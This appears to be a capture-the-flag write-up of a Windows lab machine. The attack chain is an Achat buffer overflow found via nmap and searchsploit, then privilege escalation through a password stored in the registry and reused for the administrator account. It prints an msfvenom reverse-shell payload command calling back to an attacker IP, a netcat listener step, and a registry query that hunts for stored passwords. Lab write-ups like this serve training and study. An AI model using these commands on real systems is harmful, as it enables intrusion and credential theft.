To begin our exploration of the network, let’s initiate an nmap scan in order to identify all open ports.
Tried to enumerate SMB but had no success.
These ports are generic ports. Furthermore the nmap scan shows the service as tcpwrapped.
“tcpwrapped” in an Nmap scan result typically means that the scanned port is accessible but is not providing any useful information to the scanning tool. This may be due to a firewall or security device filtering the traffic or due to the application running on the port not responding to the scan.
I tried accessing the port via the web browser but it shows an error page.
I tried googling port 9256 and found an exploit Achat, base on the description of the box it seems we should be on the right track.
We have to take few steps first.
Download the exploit through searchsploit.
Run this msfpayload first to get the buffer overflow. Remember to use your own listening IP.
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp lhost=10.10.14.18 lport=4444 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
Update the payload in the python file and point the server address to the victim machine.
Start a netcat listener with port and run the exploit.
We get a shell.
Grab the user flag in the desktop.
I did some basic enumeration and found a default password in a registry.
reg query HKLM /f password /t REG_SZ /s
Tried to connect with the Alfred user on SMB but we don’t have permissions.
However with the net user command we can see the machine has the administrator account.
Alfred might be logged as a local user but could have used the same password for his admin account.
The same password was reused.
We can grab the root.txt.
Leave a Reply